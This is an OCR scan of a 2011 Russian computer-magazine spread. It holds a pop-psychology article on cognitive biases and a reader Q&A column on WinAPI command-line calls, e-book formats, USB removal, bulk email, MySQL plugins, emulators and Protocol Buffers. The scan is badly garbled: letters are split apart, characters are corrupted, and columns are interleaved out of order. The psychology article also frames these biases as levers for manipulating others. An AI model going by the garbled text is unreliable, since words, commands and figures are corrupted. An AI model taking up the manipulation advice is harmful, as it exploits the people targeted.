Хитры й способ убедить самого себя в том , что « я не хочу поступать в М Г У не потому, что та м большой конкурс, и я боюсь про­ вал итьс я , а потому что там сл и ш ком теоре­ тизи руют материал, а м н е нужна п р а ктика» - короч е , « Л иса И в и н о град». При этом п роти воречащие мом енты вытесня ются и л и игнорируются , а восп р и н и мается только то, что подтверждает комфортную поз и ци ю . Е с л и ж е н и чего не подтверждает - можно логическим путем в ы йти на что - н и будь похожее и спать споко й н о [да-да, л о ги ка вел и ка я сила l ]

П_,.,�оло ги ч еские э<р<реКТЬI Речь об и нтересных и комплексных ф и ш ка х , кото р ы е выдает наша п с и х и ка . В одн и х случаях это более сложн ы е З М П , в других - стереоти п н ы е ф о р м ы , обл е гчающие вос­ п р иятие л юдьми друг друга.

Эффект леди Макбет Чувствуя вину [плохой поступок, предатель­ ство] или ощущая себя грязно [например, после из насилова н и я или ч его-то, что вызы­ вает брезгл ивость и стресс], человек п ытаетХАКЕР 03 / 1 46/ 20 1 1

Место для строительства коттеджа будет казаться больше, если его разбить на части. Та к же сад, раздел е н н ы й на несколько часте й, будет выгл ядеть обширнее, чем если бы это был п росто земел ь н ы й надел. Будь в н и мателен - этой иллюзией восп риятия пользуются п р и продаже да ч н ы х участков, чтобы завысить цену.

Розовые очки стали символом ухода в фантазии ся смыть негати в н ы е эмоции водой, подобно шекспи ровской леди Ма кбет, п ытавшейся очистить кровь с рук, терзаясь угрызениями совести. Думаю, ты обращал в н и ма н и е , что во многи х обрядах п р и нято ритуальное омо­ вение рук, или что многие убийцы в фильмах после п реступле н и й пытались смыть с себя не стол ько кровь, сколько давл е н и е совести. О п ыты тоже подтве рдили предположен и е о связи физического и ментального состоя н и й : двум группам исп ытуемых дали зада н и е о п и ­ сать плохие поступки, которые о н и соверша­ ли, после ч е го первой групп е дал и влажные салфетк и , чтобы вытереть руки [предлог « грязная клавиатура, м и кробы » ] , а второй нет, и п редложили бесплатно поучаствовать в еще одном э ксперименте. Резул ьтаты пока­ зал и , что первая группа [которая « смыла» С себя негативные воспо м и на н и я и вину

салфетка м и ] преи мущественно отказалась, вторая (у которой не было возможности « очиститься» ] - преимущественно согласи­ лась, чтобы отработать ви ну. Думаю, понятно, что насадив и с кусственно чувство вины и стыда (обрати внимание, рол и ки подобной направлен ности сейчас появл я ются , ка к грибы после дождя] , можно вынудить человека или целое общество к невыгодн ы м для себя поступкам.

Эффект Зей гарник Назван в честь Бл ю м ы З е й га р н и к , в п е р в ы е о п и са в ш ей е г о . П о ее утвержден и ю , пре­ р в а н н ы е , н езаконч е н н ы е действи я з а п о м и ­ наются луч ш е , ч е м заве р ш е н н ы е , что под­ тве рждает ряд п роведе н н ы х э кс п е р и м е нтов. Классически й при мер - офици а нт: о н хоро­ шо п о м н ит заказы е ще не расплативш ихся

� 135


Знаменитая леди Макбет стала прототипом психологического эффекта очищения от негативных эмоций кл иентов, но п очти сразу забыва ет блюда, кото р ы е зака з ы вали кл и енты , покинувшие ресторан. То же со студента м и : п о ка пред­ мет а ктуален [экза м е н ы , зачеты! - уча­ щийся помнит его хорошо, но как только он окончил универ, то п р едмет, не связа н н ы й с е го дал ь н е й ш и м обуч е н и е м !скажем , в а с п и р а нтуре! или п рофесси онал ьной дея ­ тельностью, забывается . М еханизм понять можно - память удерживает то, что акту­ ально, и избавляется от ненужной инфор­ мации.

Эффект Пигмалиона Ч е л о в е к , убежде н н ы й в ч е м -то , в л е п е ш ку разобьется ради того, что б ы подтвердить свои убежде н и я . Ж е н щ и н а , увер е н н а я , что « вс е муж и к и - козл ы » , будет с и сте м а ­ т и ч е с ки до водить каждого находя щ е гося рядом муж ч и ну, п о ка о н н е с о р в ется и не п о кажет свою « козл иную» [ п о е е м н е н и ю ! сущность. Ч а сто этот эффе кт сра баты в а ет п р и подтве ржд е н и и ж и з н е н н о й п о з и ц и и и с о п р о в ождается р е п л и к а м и « Ну Я же го ворил l » , « Я та к и з н ал l » , « Ну кто бы с о м н евался ... ». Дело в то м , что есл и ч е л о в е к не п р о ч увствовал другой л и н и и р а з в ит и я событи й , т о о н будет у с и л е н н о и гн о р и р овать [ З М П : и з б е га н и е , отр и ца ­ н и е ] в с е ф а кт ы , кото р ы е п роти в о р е ч ат е го п оз и ц и и . Забавно, что и н о гда ожидания первого относител ьно второго заставляют второго разби ваться в л е п е ш ку, чтобы подтвердить ожида н и я п е р вого. Н а п р и м е р , часто сраба­ тывает м а н и пуляция с двое ч н и ко м : стоит е го п охвал ить и сказать, что ты в е р и ш ь в н его, и на самом деле он у м н ы й и ста р а ­ тел ь н ы й , ка к вчера ш н и й хул и ган изо всех сил постарается не разруш ить тот положи­ тел ь н ы й образ, кото р ы й « надел» на него учитель или родител и . Разл и ч ная ф и р м е н на я сувенирная про-

� 1з6

Иллюзия выбора - одна из самых приятных дукция [ ш а рфики, кеп ки , футбол ки! также раздается не от доброй души - в этом есть п сихологическая хитрость: человек, иденти­ фицирова в ш и й себя с этой торговой маркой !соответстве н н о , убежден н ы й в ее достой ­ ном статусе! , горло перегрызет л юбому, кто усомн ится в качестве продукци и . Это гораз­ до легч е , ч е м п р изнать, что ты лоха нулся с выбором.

щ и й м о м е нт н ет возможности ее п ро­ в е р ить! , то л юд я м сво й ств е н н о отда вать п редпочте н и е то й , что п о сту п и л а п е р в о й . Э т и м ус п е ш н о пол ьзуются сотруд н и к и ­ ка р ь е р и ст ы , кото р ы е в конкурентной б о р ь б е ста ра ются донести до н а ч ал ьства свою точ ку з р е н и я р а н ь ш е с в о и х кол л е г. П р и п оступл е н и и же н е п роти в о р е ч и в о й и нф о р м а ц и и бол ь ш и й вес и м еет та , что посту п и л а послед н е й , п р и ч е м о н а рассма­ три ва ется как уточ н я ю ща я .

Эффект ореола

Эффект, з н а ко м ы й каждому хотя бы пона­ сл ы ш ке : когда таблетка сахара я вл я ется чуть ли не панацееЙ. Други м и слова м и , под влия н и е м внушения эффективности л екар­ ства больной сам себя исцеляет. На самом деле внушение и м е ет физиол о гически й характе р : в этом процессе участвует чуть ли не половина зон головного мозга и раз­ л и ч н ы е гор м о н ы , что подтверждено э кспе­ рим ентал ьно Обратн ы й эффект - ноцебо, когда под вл и я н и е м внушения состо я н и е человека ухудшается . М ожно сказать, что в обоих случаях задействован З М П - фанта­ з и рова н и е .

Да н н ы й эффект состоит в том, что в усл о­ виях недостатка дан н ы х о человеке мы о р иентируемся на из вестную информацию о н е м , на тот образ его [ореол ] , кото р ы й уже успели составить. « Сарафанное радио» ил и отз ы в ы о с пециал исте - это ка к раз проявл е н и е эффекта ореол а : усл ы ш а в от кого-то п озити в н ы е впечатл е н и я , м ы зара­ нее доверяем врачу или юристу, об уровне п рофесси онализма которого пока н е знаем на своем о п ыте. Н е зря спортсме н ы , звезды кино- и шоу­ бизнеса э ксплуати руют свои п рофессио­ нальные заслуги, когда идут в пол ити ку. П р и ч е м это работает, м н о ги е верят: если достиг успехов в спорте - с может л егко руководить стра н о й .

Эффект первого впечатления

Эффект обобщения

В п е ч атл е н и е , соста в л е н н о е о ч е л о в е ке в п е р в ы е м и нуты , р е ш а ет м н о го е п р и дал ь н е й ш е м о б ще н и и . В ст р е ч а ют п о одежке - п ро вожают п о уму. Н о одеж­ ку луч ш е п одб и р ать тщате л ь н о , и н а ч е « встр е ч а ю щ и е » м о гут н е дать ш а н са п о казать с в о й у м . П р и ч и н а - л е гч е м ы с л ить сте реоти п а м и , а н е п р и с п о с а ­ б л и ваться, н а б л юдать и а н а л и з и р о вать кажд ы й р а з н о в о го субъе кта или объ­ е кт. В ч е м -то они п р а в ы - бол ь ш и н ст в о оты г р ы в а ет о п р едел е н н ы е с о ц и а л ь н ы е рол и , н а о с н о в е кото р ы х м о ж н о стр о и т ь в с е в з а и м од е й ств и е , н е заду м ы в а я с ь о л и ч н ы х о с о б е н н о ст я х .

Если ты програ м м и ст - у тебя обязател ьно беспорядок на столе, кла в иатура зал ита пивом и еди н ственная девуш ка, которую ты з н а е ш ь - это S H O DA N . Даже если это не та к, среднестатисти чески й непрогра м м ист по дефолту будет ждать от тебя и м е н н о этого, потому что та к п редпи с ы вает на род­ ная молва. Это глоба л ь н ы й в а р и а нт эффек­ та обобще н и я . Но быва ют и частн ы е случ а и - н а п р и мер, четы ре С е р г е я , которых ты знаешь, з а м к нуты и безэмоционал ь н ы : такого ж е характера ты , вероятно , будеш ь ждать и от п оследующих з н а комых с и м е ­ н е м С ергей.

Эффект плацебо

Эффект якоря Эффект по рядка Е с л и и з р а з н ы х исто ч н и ков п о ступ а ет п роти в о р е ч и в а я и н ф о р м а ц и я [и в н а стоя -

Потрясающая особенность п с и х и к и , позво­ ля ю ща я знающим л юдям м а н и пул ировать и и м еть на этом профит. Здесь реша ющую ХАКЕР 0 3 1 1 46/ 2 0 1 1


.1

Иллюзии и эффекты ПСИХИКИ СИЛЬНО искажают межличностное восприятие роль и грает с р а в н е н и е и аналоги я : если дать человеку я корь I когнити в н ы й обра­ з е ц для сра в н е н и я ] , то следующий объект он п р и вяжет к нему \сравнит, возьмет за образец]. П римеров масса. Взять хотя бы суп е р м а р кеты с перечеркнуты м и цен н и ка ­ м и : если т ы види ш ь, что раньше этот товар стоил 400 рублей, а сейчас - 290, соз н а н и е м гновенно о ц е н и т « в ы годность» п редло­ жен и я , н е задум ываясь о том , что реальная цена соста вляет рублей 200. И л и если на дорогую кровать п р е м иум-класса положить матрас, мя гко говоря , средне го качества с я в н о з а в ы ш е н н о й ценой, он улетит в ком ­ плекте с мебелью, н е вызывая сом н е н и й у покупател я .

Тео р ия и ПDa ктика ил moЗОРНБИ отно с и 1ельно сти

Н а родная мудрость гла с ит: « Дл и н а м и нуты з а в и сит от того, по какую сто рону туалет­ н о й двери вы н аходитесь». П ытл и в ы е у м ы уже давно з а м етил и особен ность п с и х и к и , п рида ю щую субъекти в н ы й налет объектив­ н ы м вел и ч и н а м : время, изоб раже н и е , з вук, объем . Восп р и н и мал бы человек в с е объективн о - он был б ы роботом , а н е человеко м . П р и ч е м ладно, есл и б ы это касалось только абстра ктных п о н яти й , та к и х как э м о ц и и , отн о ш е н и я , мораль, но даже откр ыв журнал или гл я нув н а биллбо рд, наш н едоробот в ы хватит что-то одно и в упор не з а м етит втор о го . М ы все над этим п р и ка л ы в а е м с я , н о все равно железно ведемся на р е кл а м ы типа « З вон ите по О ко пеек без платы за соед и н е н и е l * » , где о с н о в н а я фраза н а рисована я р к и м цвето м и о гром н ы м ш р ифто м , а с носка П ри усл о в и и а б о н е нтской платы 1 500 руб.! месяц» - еле з а м етна. В о б м а н е упре кнуть м ожно только н а ш е восп р и ятие, и уж н и ка к н е оператора, кото р ы й ч естно указал всю «�О

Х А К Е Р 03 / 1 46/ 2 0 1 1

и нформацию. Кстати, и м е н но « нарисова­ на», а н е « н а п и са н а » или « на п ечатана», - нарисованная фраза гораздо л е гч е и быстрее вос п р и н и мается н а ш и м и о р га н а м и з р е н и я , что я вл я ется вел ич а й ш е й иллю­ з и е й , но ра ботает на 1 00%. Н ет, вру, на 98: на 1 00 сработает рисунок или фото гра ф и я , н е требующая чте н и я , ведь подсозн а н и е вос п р и н и мает образ ы , ф о р м ы , цвета, п р о ­ странственное расположе н и е , а не набор букв. Это благодаря соз н а н и ю проч итанная фраза и нтерп рети руется в образ и только после этого н а ч и на ет испол нять возложен­ ную на нее фун кцию по атаке п одсоз н а н и я . Н о здесь тоже не в с е одноз н а ч н о - р исунок луч ш е п р и вл е кает внимание, а фотогра­ фия - вызы вает бол ьше доверия. Тем не менее, мудрые рекл а м щики н а ш л и в ы ход: н а п р и м е р , из нарисованн ого нуля вылетает Iди н а м и ка п р и вл е кает больше, ч е м стати ка] сфотографирова н н ы й юноша, э м о ц и о н и ру­ ющий по поводу воз можности « бесплатно» го ворить п о телефону Iфотоэмоции вызыва­ ют доверие бол ь ш е , ч е м н а рисова н н ы е] , и во круг - еще м ного нарисованных гадже­ тов я р кого цвета. А есл и е го разместить на 3/8 л иста сверху I и м ен н о в эту зону в пер­ вую очередь падает взгл яд] - получается о ч е н ь з а м етный образ. Кроме ч и сто ф и з и ологического обмана lобман о р га н о в чувств], есть м н ожество иллюз и й , основан н ы х на н а ш е м о п ыте, социальных стереоти пах, а также З М П и эффектах п с и х и к и . Из тех, что ч а ще всего и спол ьзуются м а н и пуляторам и : • Эффект повального увлече н и я - склон­ ность следовать в ы бору тол п ы , игнорируя здравый смысл : и н о гда на выста вках спе­ циально н а н и м а ют люде й , которые толпятся возле стенда ком п а н и и , иллюзор н о п о в ы ­ шая ее попул я р н ость. • О ш иб ка , связа нная с част н ы м и п р и мера­ м и , когда вы вод делается на основе не ста­ тистики, а частных случаев: « М а р ь и в а н на

два месяца п ила чай для похуде н и я и сбро­ сила 30 K r l » . • И л л ю з и я контраста lэту иллюз и ю когда -то о п и сы вал н а ш л ю б и м ы й Крис в статье про н ить Ариадн ы , с р а в н и вая оранжевые круги ] , п р и е м постоянно используют в рекл а м е . Поскольку иллюз и я и психологическая, и оптич еская одновременно, она работает на ура - достаточ н о сфото графи ровать свой товар на фоне так и х же, но ужасного каче­ ства, и довер ч и в ы й п окупатель подсозна­ тел ьно сделает правильный выбор . • Иллюзия контрол я , да юща я человеку право думать, что он действител ьно что-то решает, вел ич а й ш е е благо для пол итиков: ты можешь со 1 ОО%-ной уверенностью ска­ зать, кто действител ьно я вл я ется п резиде н ­ том Росс и и ? • И ррациональное усил е н и е - п р и нятие ирра циональных решений на основе п ро­ шлых рациональных. Допустим, мужчина, и мея жену в декрете с двумя маленькими деть м и , в условиях кризиса увол ьняется с работы, основываясь на воспоминаниях о том, ка к он в 20-летнем возрасте уволился и спустя неделю нашел новую, более успеш­ ную работу. К этой же иллюз и и относится оправда н и е совершенно и ррациональных действий I н а п ример, покупка неоправда н но дорогой вещи], называемое рационализаци­ ей после покупки. • Иллюзия « сп ра ведл ивого м и ра » - л юди счита ют, что все воздается по заслуга м . П р и этом всегда оценщик заслуг l и л и раз­ реш итель] - это другая л и ч ность: либо субли ч ность Iвнутренний образ авторитета] , либо кто-то и з в н е , н а п р и м е р , реклама, вос­ кл и цающая « С и гареты SоЬгапjе. М огу себе позволить ... » или « МТС. VIP, Вusi пеss и Optima. Соответствовать уровню» .

Финальное напутствие

Все перечисл е н н ы е особенности психики обусловл е н ы ничем иным, кроме ка к нашим опытом и восп итатель н ы м и момента м и . Нравится или н е т - это неотъемлемая часть каждого человека, и этой частью можно пользоваться, ка к это делают уже да вно некоторые л юди. Ведь п р и п равильном под­ ходе - это оружие массового пораже н и я . Оружием против тебя это может быть л и ш ь в том случае, если т ы не осознаешь эти осо­ бен ности, а знач ит, они управляют тобой. Но как только их осознаешь - а если прочитал, то уже почти осознал - ты не тол ько выхо­ дишь из-под их вл и я н и я , но и можеш ь сам управлять други м и , кто н е ч итал эту статью 'да-да, без ложной скромности : описа н и е меха низмов можно найти много где, но там они не рассматриваются в связи с м а н и пу­ лирова н и е м ] . Поэтому отложи сегодня контру или л и неечку и займись поиском и устране­ нием у себя всех вышеописанных стереоти­ пов. Путь к статусу Великого М а н и пулятора начи нается с вот таких мелоч е й l :] I

� 1 37


• • Степан «5tep»

Есть

Ильин

twitter.com/stepah

вопросы - присылай на faq@real.xakep.ru

Q: Для решения самых разных задач я

нужные параметры из полей- короче

строку, хорошо описаны в мануале winapiexec. П риведу несколько п ростых примеров исполь­ зования п рограммы. 1 , Запустим калькулятор и тут же удалим процесс из памяти: winapiexec , ехе

говоря, автоматизировать все и вся. Каж­

CreateProcessW О calc О О О Ох2 0 О

дый раз для этого приходится писать при­

О $ а : Ох4 4 "

ложение (чаще всего на С++), что очень

, S l eep 1 0 0 0

очень часто использую WiпАPI-функции. Это лучший способ эмулировать актив­ ность в любом приложении, считы ать

муторно. Нет ли более простого способа

вызвать нужную функцию из определен­

ной системной библиотеки? А: С помощью WiпАРI действительно можно

творить чудеса. М ы все помним про самые первые троя н ы для Web Money, которые как раз с помощью системных вызовов управля­ ли WM Кеерег'ом и эмулировали акти вность пользователя таким образом, чтобы его деньги при первом же запуске приложения перево­ дились в нужном направлении, Концепт !само собой, он уже н е работает ввиду современных защитных механизмовl хорошо описан в одной из наших старых статей [bit,ly/winapi hack wеЬmопеуl, Н о вернемся к вопросу, Чтобы вызвать произвольную системную функцию, необязател ьно писать код на том же С++ и ком п илировать его, Можно обойтись специ­ альной утилитой winapiexec [rammichael,com! wiпарiехесl, которая позволяет выпол н ить л юбые вызовы через командную строку. Син­ таксис для запуска следующий: winapi exec . ехе

l i brary . dl l@Func t i onName 1 2 3

unicode_text " а space "

Можно последовательно выпол нить несколько команд, указав их через запятую. Особен нос­ ти ключей, передаваемых через командную

� 1 з8

"

" ,

"

"

"

"

"

$Ь : 1 6

Terminat eProcess

$ $ : 11@0 О

2. Отобразим таск-менеджер: winapiexec .

ехе u@SendМes s ageW ( u@FindWindowW She l l_TrayWnd О ) Охl l 1 4 2 0 О

З. Выведем через MessageBox путь до temp:

winapiexec . ехе GetTempPathW 2 6 0

$Ь : 5 2 0 , u@Me s sageBoxW О $ $ : 3 $ $ : о Ох40

М ного триков с системой, реализова н н ых через WiпАРI-функции, хорошо описаны в этой статье некого индийского п рограммис­ та : codeproject,com!KB!miscctrVТaskbar Manipulation,aspx,

тво книжных форматов, Я заморочился этим вопросом, когда купил себе Kindle oTAmazon [все-та ки $ 1 39, как ни крути, хорошая цена для отменной читалки c Wi-Fi на бортуl, Девайс п редоставляет два варианта для получения книг: загрузка в специал ьном формате M O B I и л и ж е покупка в онла Йн-магазине. Чтобы пе­ ревести свою библиотеку в «родной» для Kindle формат я нашел утилиту Calibre !cali bre- ebook, coml , При мечательно то, что эта бесплатная кроссплатформенная утилита поддерживает практически л юбые форматы электронных книг и даже позволяет нап рямую закачивать книги в ридеры с автоматической конвертацией. Можно, н а п ример, взять всю свою библиотеку в FB2 и разом преобразовать в нужный формат, автоматически забросив книги на деваЙс. Q: Каждый раз мучаюсь при попытке безопасно извлечь устройство. В каж­ дом третьем случае этому препятствует какая-то программа, причем какое

Q: Хочу купить читалку, но не знаю,

именно приложение лочит флешку­

какую выбрать. Одни понимают книги в

понятно далеко не всегда. Как быть?

формате FB2 (как и мой телефон), мно­

А: Пожалуй, это главная п ричина, почему мно­

гие только ePub и так далее. Что лучше?

гие [ в том числе и я l п росто выдергиваютфлеш­ ку из компьютера, Пользоваться безопасным извлечением устройств в Windows - настоящая пытка, П ри этом я уже не раз поплатился за пренебрежение этим простым п равилом, теряя ценн ы е дан н ы е с внешнего накопител я , На са­ мом деле, п роблема легко решается с помощью утилит USB Safely Remove Isafelyremove,coml или Zentimo [zentimo,coml, Помимо общей продуманности [удобное меню с картинками

А: На самом деле, н и какой разн ицы н ет,

FB2, ePub и другие форматы - лишь описа­ н и е контейнера, в котором хранятся тексты , изображения и ш рифты. И уж конечно, давно разработа н ы простые конвертеры между ними, Известный сервис fb2epub,com позволяет п ре­ образовывать книжки из FB2 в ePub в два кли­ ка мыши, Есть более универсал ьные решения, которые поддерживают не два, а сразу множес-

ХАКЕР 0 3 / 1 46/ 2 0 1 1


Яндекс ш ·�

@mail.ru

. :v..;

d"' OpenlD rn Btogger' �l'iSigп'

1] Facebook

�"'"" L I Y E J O U R Н A L @ gНЕВНUНU

AOL �)

Google

патЫс,

LQginza

�wi��e,. ту

··УХ600'.

репЮ'

fl ickr'" WebMoney

WORDPRESS

I�t.fm

�-.; �

Loginza позволяет пользователю авторизоваться на сайте через aKкaYНТbI в сторонних сервисах

USB Salet, Relllove JetF\adl Тramcend З2GВ USB De'lice IG:)

s

J

\dI TS1GJF28 USB

DcoAtc "-.

т IlIntoend С'" Reader АDР8 �

I

ожидается большой и сложно предсказуемый объем трафика, то надо переложить проблему на тех, у кого мощностей всегда п редостаточ­ но - облачных проваЙдеров. Известный и в последнее время все чаще упоминаемый нами Amazon сейчас проводит открытое бета-тести­ рова н и е сервиса Amazon Simple Email Service (SESI, который как раз и занимается доставкой электронной корреспонденции из облака. Понятно, что ни баснословный объем трафика, ни немыслимое кол ичество п исем для его мощностей не п роблема. Отправка тысячи сообщен и й стоит $О. l О Помимо этого п ридется платить за входящий и исходя щий трафик (не больше $0. 1 О за Гбl. Примеры скри nтов доступны в разделе для разработчиков (.bi.L lу/аmаzоп ses scriptsl, поэтому попробовать сервис в действии можно п ря м о сеЙчас. Интересно, насколько эффективны у компании механизмы борьбы со спамом, а то ведь с таким подходом и н и какие ботнеты для рассылки будут не нужны : l . Q : Экспериментирую с альтернативны­ ми движками для хранения данных в MySQL. Проблемы возникают с установ­ кой РВХТ (primebase.org). Можете дать гарантированно работающий мануал? А: Н иже рецепт от нашего эксперта в этой

The device has been stopped JetFlash TS1GJF28 US8 Device (N:)

х

-------------------------------------------

< I"' �'

8 :23

Удобный инструмент для безопасного извлечения внешних накопителей устройств, отображение п равил ьных имен де­ вайсов, возможность скрыть ненужны е томаl, они (о чудо ll показывают приложения, которые мешают извлечь устройство и помогают снять лок. Почемута кая очевидная и понятная опция не реализована в стандартном инструменте Windows, мне понять сложно.

сервисом уже сеЙчас. Есть плагин ы для разра­ ботчи ков сайтов на Wordpress, phpBB, Joomla, Cogear, Dru pal и прочих. Форма входа Логинзы на текущий моментуста новлена более чем на 6 500 саЙтов. Кстати, ста рта п недавно был приобретен Я ндексом , а значит, у сервиса есть все шансы на самое быстрое развитие.

отрасли - Александра Лозовюка : 1 . Сначала необходимо выяснить, где нахо­ дится директория плагинов (подразумеваем, что MySQ L 5 . 1 утебя ужеустановленl . Для этого набери в консоли mуsql-кл иента: show variables l ike " %plugin% " . Можно также выпол н ить аналогичный SQL -запрос через phpMyAd min. В ответты получ и ш ь что-то вроде /home/my-usег/mуsql/libImуsq l/рlugiп. 2. С качай исходники плагина из Lanchpad (launchpad.netl , испол ьзуя Bazzar: bzr branch lp : pbxt / tmp/pbxt - s rc

З. Далее приступаем к конфигурации :

. /conf igure - -with-mysql=<build­

dir>/<mysql - src> - -with-plugindir= <mysql -dir> / l ib!mysql/plugin

4. И, в конце концов, собираем п роект:

make & & make inst a l l .

5. Полученный модуль коп и руем в директорию плагинов и выполняем SQL -команду, чтобы подкл ючить новый плаги н : INSTALL PLUGIN

Q: Хочу реализовать на своем сайте ав­

Q: Есть задача - организовать email­

pbxt SONAМE ' l ibpbxt . so '

торизацию через популярные сервисы

рассылку по большому (действительно

(Facebook. ВКонтакте, Google и так да­

большому) списку получателей. Сна­

лее) без дополнительной регистрации.

чала хотел написать простой скрипт,

Как это проще всего сделать?

который рассылал бы все с дедика

6. Теперь создаем таблицу, испол ьзуя новый движок: «CREATE TABLE t1 ( с 1 int , с2 text ) engine=pbxt ; ». Или изменя­ ем уже существующую: « ALTER TABLE t 1

А: Один из самыхудобных из доступ ных на се­

через sendmail, но оценив объем (а это

engine=pbxt » .

годняшний день вариантов Loz i nza (loginza. шl . Это сервис, который позволяет разработ­ ч и ка м и вебмастерам обеспечить аутентифика­ цию на сайте через учетные зап иси популяр­ ных порталов (Я ндекс, Google, Rambler, Mail. Ru, LiveJournal, etcl, социальных сетей В Кон­ такте и Facebook, а та кже через идентифи като­ ры Ope n l D . П ростое в освоении Loginza.API и нал ичие готовых решений на разных языках позволяют без особого труда воспользоваться

гигабайты трафика), понял, что этот

Вуаля , теперь в качестве движка используется новомодный рвхт.

-

ХАКЕР 0 3 / 1 46/ 2 0 1 1

вариант не подойдет. Как бы реализо­ вал рассылку ты? Сразу хочу сказать, что речь идет о легитимной рассылке,

Q: Как проверить, разрешает ли провай­

это не спам.

дер использовать VРN-соединения?

А: Если ни один ИЗ готовых сервисов для

А: Необходимо убедиться, что G R Е-пакеты

орган изации рассылок вроде subscribe.ru тебя не устраивает (что более чем вероятноl, я вижу в твоей с итуа ции один вариант. Но зато какой современный и прогрессивный I Раз уж

не блокируются. Сделать это можно на са йте itshidden.com - бесплатном VРN-сервисе, который как раз работает на РРТР. Если не работает, то, скорее всего, G RЕ-пакеты бло-

� 1 З9


-

-

ки руются. В этом случае можно попробовать ОрепVРN или 55Н-туннели рование. Q: Беремся за большой проект, пред­ полагающий разработку клиентских приложений для разных мобильных платформ. Обеспечить всех разработ­ чиков реальными устройствами мы не можем, поэтому ищу сейчас всевоз­ можные эмуляторы. Реально ли с их помощью вести весь цикл отладки? А: Для отладки и тестирования разработок

могут при годиться два вида и нструментов: эмуляторы и симуляторы. В чем разница? Все просто. Эмулятор - это программное средство, которое транслирует откомпилированный код с оригинальной архитектуры на платформу, где он фактически будет выполняться. В нашем случае эмулятор - это десктопное приложение, кото­ рое эмулируетжелезо мобильного устройства и работу его операционной системы, позволяя запускать и отлаживать приложения. Существуют также эмуляторы и менно мобильных операци­ онных систем Iнапример, для Windows Mobile и Апdгоidl, не при вязанные к какому-то конкрет­ ному девайсу. Симулятор - менее сложное и менее полезное решение, которое лишь имитирует работу мобильногодевайса и его ОС, но не эмулируетжелезо. В любом случае, и эмуляторы, и симуляторы часто не предоставляютполной свободы для отладки приложений. Трудности могут возникнуть, например, при тестировании функций , использующих цифровой гироскоп. В этом случае без реального устройства в боль­ шинстве случаев не обойтись. Так или иначе, ниже - небольшая подборка инструментов, которые могуттебе понадобиться. • iOS Simulatoг симуляторустройств, работа­ ющих подуправлением мобильной ОС oTApple. Решение идет вместе со средой разработки ХСоd е и доступнотолькодля платформы Мас 05 Х: developer.apple .соm/dеvсепtег/iоs/i пdех.асtiоп ; Апdго id Emulatoг - эмулятор операционной системы Android версии 1 . 1 , 1 .5, 1 .6, 2.0, 2. 1 , 2.2 & 2.3 1для работы необходимо скачать образы ОС и 5DKI: developer.android.com/guide/ d evelopi ng/tools/em u lator. html; Sаmsuпg GalaxyTab Add- о п - специал ьный аДДон для Android 5DК, позволяющий эмул и ­ ровать работу модного планшетника 5amsung Galaxy Та Ь: innovator.samsungmobile .сот/ galaxyTab.do ; • H P webOS Em ulato г - эмулятор нем ногочис­ ленных устройств от H P IPalm Рге, Palm Pixi, Palm Pixi Plusl , поставляется вместе с 5DК: developer.palm.com/index.php?id; 1 744 ; • Nokia Symbian Emulatoгs - эмулятор устройств, работающих под управлением 5утЫап: bit.ly/symbian emu lators; BlackBeггy Simulatoгs симулятор девайсов и ОС Blackberry: blackberry.com/developers/ downloads/si mulators ; Windows Mobile 6.5 Emulatoг Images - обра­ зы эмуляторов WM6.5: bit.ly/WM65emulator; • Windows Phone7 Simulatoг симулятор новой мобильной ОС от Microsoft, кото-

-

Эмулятор Android р ы й работает в связке с Visual 5tudio: МJY/ WP7simulator; Bada Simulato г - си мулятор ОС Bada от ком­ пании 5amsun g : bIt.ly/Bada si m ulator. •

Q: Все чаще и чаще встречаю довольно

продвинyn.le проекты ' KOTopble использу­ ют Google Protocol Вuffers. Объясни, в чем

СУТЬ проекта? чем он лучше XМL?

А: Protocol Buffers Iбуферы протоколовl - это не

зависящий от языка и платформы. расширяе­ мый способ разделять на серии структурирован­ ные данные. По своим задачам технология очень похожа на XML, только компактнее, быстрее и проще. Ты однажды определяешь, какдолжны быть структурированыданные. а потом исполь­ зуешь специально созданный исходный коддля записи и чтения структурированных данных в\из различных потоков данных. используя разнооб­ разные языки - Java. С++ или Python. Описание выполняется в специальных .ргоtо-фаЙлах:

Q: Существует ли универсальное реше­ ние для Windows, позволяющее получить

message Person {

доступ к данным на разделах с различ­

requ i red s t r ing пате ; 1 ;

ными файловыми системами, KOTOPble

required i nt 3 2 id ; 2 ;

используются в Unux- и ВSD-системах?

opt i onal s t r ing ema i l = 3 ;

Включая caMble современные, вроде Ext4. Нет желания держать отдельные тулзы, скажем, для Ext2/3/4 и UFS/UFS2.

в этом .ргоtо-фаЙле определяется формат опи­

сания человека. После этого мы можем легко использовать это определение для создания и манипул ирования объектами. Person person ; person . set_name ( " John Doe " ) ; person . se t_i d ( 1 2 3 4 ) ; person . se t_ema i l ( " j doe@examp l e . сот " ) ; f s t reaт output (

" my f i l e " , i os : : out I i os : : binary ) ;

person . Se r i a l i z eToOst ream ( &output ) ;

-

� 1 40

Buffers проще. в 1 0-20 раз быстрее и в 3-1 О раз эффекти внее в плане полученного объема. Есть конкретные примеры использования . Н а п ример. недавно бэкенд Тwittег перешёл на Protocol Buffers. По заявлению разработч и ­ ков Twitter. база в триллион твитов на X M L за­ ни мала десять петабайт вместо одного. Боль­ шое кол ичество примеров и статей п о теметы найдешь на официальном сайте Icode.google. com/p/protobufl . Еще интересной разработкой в этой области является библиотека MessagePack Imsgpack. иgl , которая тоже предназначена для сериали­ зации данных. Она позволяет обмениваться структурирова н н ы м и да нными между разл ич­ ными языками так же, KaK J50 N . но. в отличие от последнего. резул ьтат получается меньше и быстрее. На сайте доступны модул и для Ruby, Perl. Python, С/С++. Java, РН Р, Haskell. Lua.

Чем это лучше X M L? Использовать Protocol

А: М н е больше всего п о душе утилита R.5aveг

Irla b.ru/tools/rsaver.htmll. Основное назна­ чение про граммы - восстановление данных с различных версий файловых систем FAT и NTF5. Но помимо этогоутилита предоставляет доступ в режиме чтения к следующим файло­ вым системам: Мiсrоsоft Windows: FAT и NTF5, включая FAT1 2, FAT 1 6 , FAT32 , NTF5, NTF55; • Apple М ас 05: H F5, H F5+/HF5X; • Linux: Ext2, Ext3, Ext4, ReiserF5, JF5 и XF5; Unix, В5D, 5un 50laris: UF5 и U F52 1FF51, включая U F5 с обратным порядком байтов, ко­ торая используется на 5parc/Power серверах. •

::х:: ХАКЕР 03 / 1 4 6 / 2 0 1 1


Ekahau ИеаtМа••er 1 . 1 . 2

>Games

>Devel.pmenl

�Meln Иаmасhi

р.kerТИ 0.8.2

Android 5ОК ,О9

MetworkMi.er 1 . 0

»WIMDDW5

!!JI.e.LDAP 2.4.23 !!JI.e.SSH 5.6 ОаепУРМ 2.1.4

